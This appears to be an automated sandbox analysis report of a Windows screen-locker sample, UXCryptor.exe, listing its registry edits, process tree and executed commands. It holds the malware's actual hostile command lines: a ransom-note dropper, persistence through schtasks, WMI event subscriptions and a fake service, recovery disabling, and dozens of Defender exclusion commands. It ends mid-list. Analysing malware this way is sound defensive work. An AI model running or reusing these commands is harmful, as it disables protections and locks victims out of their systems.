Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UXCryptor.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
3064	taskkill.exe
16876	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\WindowsSecurity	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\WindowsSecurity\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\" --context-menu"	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shell\WindowsSecurity\command	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shell\WindowsSecurity	UXCryptor.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shell\WindowsSecurity\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\UXCryptor.exe\" --folder-scan"	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shell\WindowsSecurity\command	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\*	UXCryptor.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shell	UXCryptor.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2468	schtasks.exe
1152	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1808	wmic.exe
3980	wmic.exe
3980	wmic.exe
1808	wmic.exe
3980	wmic.exe
1808	wmic.exe
3980	wmic.exe
1808	wmic.exe
3436	wmic.exe
3436	wmic.exe
3436	wmic.exe
3436	wmic.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3980	wmic.exe
Token: SeSecurityPrivilege	3980	wmic.exe
Token: SeTakeOwnershipPrivilege	3980	wmic.exe
Token: SeLoadDriverPrivilege	3980	wmic.exe
Token: SeSystemProfilePrivilege	3980	wmic.exe
Token: SeSystemtimePrivilege	3980	wmic.exe
Token: SeProfSingleProcessPrivilege	3980	wmic.exe
Token: SeIncBasePriorityPrivilege	3980	wmic.exe
Token: SeCreatePagefilePrivilege	3980	wmic.exe
Token: SeBackupPrivilege	3980	wmic.exe
Token: SeRestorePrivilege	3980	wmic.exe
Token: SeShutdownPrivilege	3980	wmic.exe
Token: SeDebugPrivilege	3980	wmic.exe
Token: SeSystemEnvironmentPrivilege	3980	wmic.exe
Token: SeRemoteShutdownPrivilege	3980	wmic.exe
Token: SeUndockPrivilege	3980	wmic.exe
Token: SeManageVolumePrivilege	3980	wmic.exe
Token: 33	3980	wmic.exe
Token: 34	3980	wmic.exe
Token: 35	3980	wmic.exe
Token: 36	3980	wmic.exe
Token: SeIncreaseQuotaPrivilege	1808	wmic.exe
Token: SeSecurityPrivilege	1808	wmic.exe
Token: SeTakeOwnershipPrivilege	1808	wmic.exe
Token: SeLoadDriverPrivilege	1808	wmic.exe
Token: SeSystemProfilePrivilege	1808	wmic.exe
Token: SeSystemtimePrivilege	1808	wmic.exe
Token: SeProfSingleProcessPrivilege	1808	wmic.exe
Token: SeIncBasePriorityPrivilege	1808	wmic.exe
Token: SeCreatePagefilePrivilege	1808	wmic.exe
Token: SeBackupPrivilege	1808	wmic.exe
Token: SeRestorePrivilege	1808	wmic.exe
Token: SeShutdownPrivilege	1808	wmic.exe
Token: SeDebugPrivilege	1808	wmic.exe
Token: SeSystemEnvironmentPrivilege	1808	wmic.exe
Token: SeRemoteShutdownPrivilege	1808	wmic.exe
Token: SeUndockPrivilege	1808	wmic.exe
Token: SeManageVolumePrivilege	1808	wmic.exe
Token: 33	1808	wmic.exe
Token: 34	1808	wmic.exe
Token: 35	1808	wmic.exe
Token: 36	1808	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5456	UXCryptor.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 5456 wrote to memory of 2256	5456	UXCryptor.exe	95
PID 5456 wrote to memory of 5308	5456	UXCryptor.exe	96
PID 5456 wrote to memory of 1064	5456	UXCryptor.exe	97
PID 5456 wrote to memory of 3140	5456	UXCryptor.exe	98
PID 5456 wrote to memory of 4616	5456	UXCryptor.exe	99
PID 5456 wrote to memory of 2868	5456	UXCryptor.exe	100
PID 5456 wrote to memory of 3064	5456	UXCryptor.exe	107
PID 5456 wrote to memory of 2468	5456	UXCryptor.exe	108
PID 5456 wrote to memory of 3980	5456	UXCryptor.exe	109
PID 5456 wrote to memory of 3436	5456	UXCryptor.exe	110
PID 5456 wrote to memory of 1808	5456	UXCryptor.exe	111
PID 5456 wrote to memory of 5532	5456	UXCryptor.exe	117
PID 5456 wrote to memory of 2408	5456	UXCryptor.exe	118
PID 5456 wrote to memory of 3744	5456	UXCryptor.exe	119
PID 5456 wrote to memory of 3032	5456	UXCryptor.exe	120
PID 5456 wrote to memory of 1832	5456	UXCryptor.exe	125
PID 5456 wrote to memory of 3524	5456	UXCryptor.exe	126
PID 5456 wrote to memory of 6420	5456	UXCryptor.exe	127
PID 5456 wrote to memory of 5412	5456	UXCryptor.exe	128
PID 5456 wrote to memory of 6552	5456	UXCryptor.exe	129
PID 5456 wrote to memory of 7000	5456	UXCryptor.exe	130
PID 5456 wrote to memory of 6688	5456	UXCryptor.exe	131
PID 5456 wrote to memory of 6916	5456	UXCryptor.exe	132
PID 5456 wrote to memory of 5340	5456	UXCryptor.exe	133
PID 5456 wrote to memory of 3924	5456	UXCryptor.exe	134
PID 5456 wrote to memory of 6540	5456	UXCryptor.exe	135
PID 5456 wrote to memory of 5244	5456	UXCryptor.exe	136
PID 5456 wrote to memory of 1204	5456	UXCryptor.exe	137
PID 5456 wrote to memory of 4948	5456	UXCryptor.exe	138
PID 5456 wrote to memory of 5104	5456	UXCryptor.exe	139
PID 5456 wrote to memory of 6148	5456	UXCryptor.exe	140
PID 5456 wrote to memory of 6864	5456	UXCryptor.exe	141
PID 5456 wrote to memory of 3676	5456	UXCryptor.exe	142

System policy modification 1 TTPs 32 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkStation = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\promptonsecuredesktop = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetHood = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCommonGroups = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\consentpromptbehavioradmin = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWinKeys = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktopContextMenu = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuMFUprogramsList = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesMyComputer = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\NoDispBackgroundPage = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\enablelua = "0"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\HidePowerOptions = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuMorePrograms = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\NoDispAppearancePage = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive = "67108863"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSecurityTab = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\StartMenuLogOff = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoThemesTab = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableChangePassword = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives = "67108863"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions = "1"	UXCryptor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	UXCryptor.exe

C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Windows security bypass
- Boot or Logon Autostart Execution: Active Setup
- Disables RegEdit via registry modification
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Windows security modification
- Adds Run key to start application
- Checks whether UAC is enabled
- Modifies WinLogon
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5456
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  PID:2256
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  PID:5308
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  PID:1064
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  PID:3140
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  PID:4616
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @Vext0v OR discord vextov. 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - System Location Discovery: System Language Discovery
  PID:2868
- C:\Windows\SysWOW64\taskkill.exe
  taskkill.exe /f /im Explorer.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  PID:3064
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /create /tn "WindowsDefenderUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe" /sc onlogon /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2468
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="WindowsSecurityFilter", EventNamespace="root\cimv2", Query="SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LogonSession'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3980
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="WindowsSecurityConsumer", CommandLineTemplate="C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3436
- C:\Windows\SysWOW64\Wbem\wmic.exe
  wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"WindowsSecurityFilter\"", Consumer="CommandLineEventConsumer.Name=\"WindowsSecurityConsumer\""
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1808
- C:\Windows\SysWOW64\sc.exe
  sc create WindowsSecurityService binPath= "C:\Windows\system32\winsecsvc.exe" start= auto DisplayName= "Windows Security Service"
  2⤵
  - Launches sc.exe
  PID:5532
- C:\Windows\SysWOW64\sc.exe
  sc description WindowsSecurityService "Provides Windows security and update management."
  2⤵
  - Launches sc.exe
  PID:2408
- C:\Windows\SysWOW64\sc.exe
  sc start WindowsSecurityService
  2⤵
  - Launches sc.exe
  PID:3744
- C:\Windows\SysWOW64\reagentc.exe
  reagentc.exe /disable
  2⤵
  PID:3032
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'C:' -ErrorAction SilentlyContinue"
  2⤵
  PID:1832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'E:' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3524
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionPath 'F:' -ErrorAction SilentlyContinue"
  2⤵
  PID:6420
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5412
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'dll' -ErrorAction SilentlyContinue"
  2⤵
  PID:6552
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'msi' -ErrorAction SilentlyContinue"
  2⤵
  PID:7000
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'sys' -ErrorAction SilentlyContinue"
  2⤵
  PID:6688
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'drv' -ErrorAction SilentlyContinue"
  2⤵
  PID:6916
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ocx' -ErrorAction SilentlyContinue"
  2⤵
  PID:5340
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cpl' -ErrorAction SilentlyContinue"
  2⤵
  PID:3924
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'scr' -ErrorAction SilentlyContinue"
  2⤵
  PID:6540
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'bat' -ErrorAction SilentlyContinue"
  2⤵
  PID:5244
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'cmd' -ErrorAction SilentlyContinue"
  2⤵
  PID:1204
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'com' -ErrorAction SilentlyContinue"
  2⤵
  PID:4948
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vbs' -ErrorAction SilentlyContinue"
  2⤵
  PID:5104
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vbe' -ErrorAction SilentlyContinue"
  2⤵
  PID:6148
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'js' -ErrorAction SilentlyContinue"
  2⤵
  PID:6864
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jse' -ErrorAction SilentlyContinue"
  2⤵
  PID:3676
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsf' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2000
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsh' -ErrorAction SilentlyContinue"
  2⤵
  PID:6440
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ps1' -ErrorAction SilentlyContinue"
  2⤵
  PID:3968
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ps2' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3508
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psm1' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4208
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'psd1' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1656
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'jar' -ErrorAction SilentlyContinue"
  2⤵
  PID:6964
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'java' -ErrorAction SilentlyContinue"
  2⤵
  PID:6168
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'class' -ErrorAction SilentlyContinue"
  2⤵
  PID:1788
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'py' -ErrorAction SilentlyContinue"
  2⤵
  PID:1048
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pyw' -ErrorAction SilentlyContinue"
  2⤵
  PID:4244
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pyc' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2776
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rb' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6768
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'rbw' -ErrorAction SilentlyContinue"
  2⤵
  PID:5584
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pl' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6972
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'pm' -ErrorAction SilentlyContinue"
  2⤵
  PID:6600
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6504
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php3' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2036
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php4' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2156
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'php5' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:832
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'phtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:1856
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'asp' -ErrorAction SilentlyContinue"
  2⤵
  PID:6528
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'aspx' -ErrorAction SilentlyContinue"
  2⤵
  PID:4284
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ascx' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1268
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'ashx' -ErrorAction SilentlyContinue"
  2⤵
  PID:2312
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'asmx' -ErrorAction SilentlyContinue"
  2⤵
  PID:620
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'axd' -ErrorAction SilentlyContinue"
  2⤵
  PID:6868
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'svc' -ErrorAction SilentlyContinue"
  2⤵
  PID:1436
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xaml' -ErrorAction SilentlyContinue"
  2⤵
  PID:1796
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'htm' -ErrorAction SilentlyContinue"
  2⤵
  PID:776
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'html' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1648
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'shtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:1456
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xhtml' -ErrorAction SilentlyContinue"
  2⤵
  PID:2876
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xml' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2872
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xsl' -ErrorAction SilentlyContinue"
  2⤵
  PID:6676
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xslt' -ErrorAction SilentlyContinue"
  2⤵
  PID:1484
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'wsdl' -ErrorAction SilentlyContinue"
  2⤵
  PID:708
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'vsto' -ErrorAction SilentlyContinue"
  2⤵
  PID:1224
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xla' -ErrorAction SilentlyContinue"
  2⤵
  PID:7112
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlam' -ErrorAction SilentlyContinue"
  2⤵
  PID:1212
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xll' -ErrorAction SilentlyContinue"
  2⤵
  PID:1380
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xlw' -ErrorAction SilentlyContinue"
  2⤵
  PID:6200
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Add-MpPreference -ExclusionExtension 'xls' -ErrorAction SilentlyContinue"
  2⤵
  PID:420
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
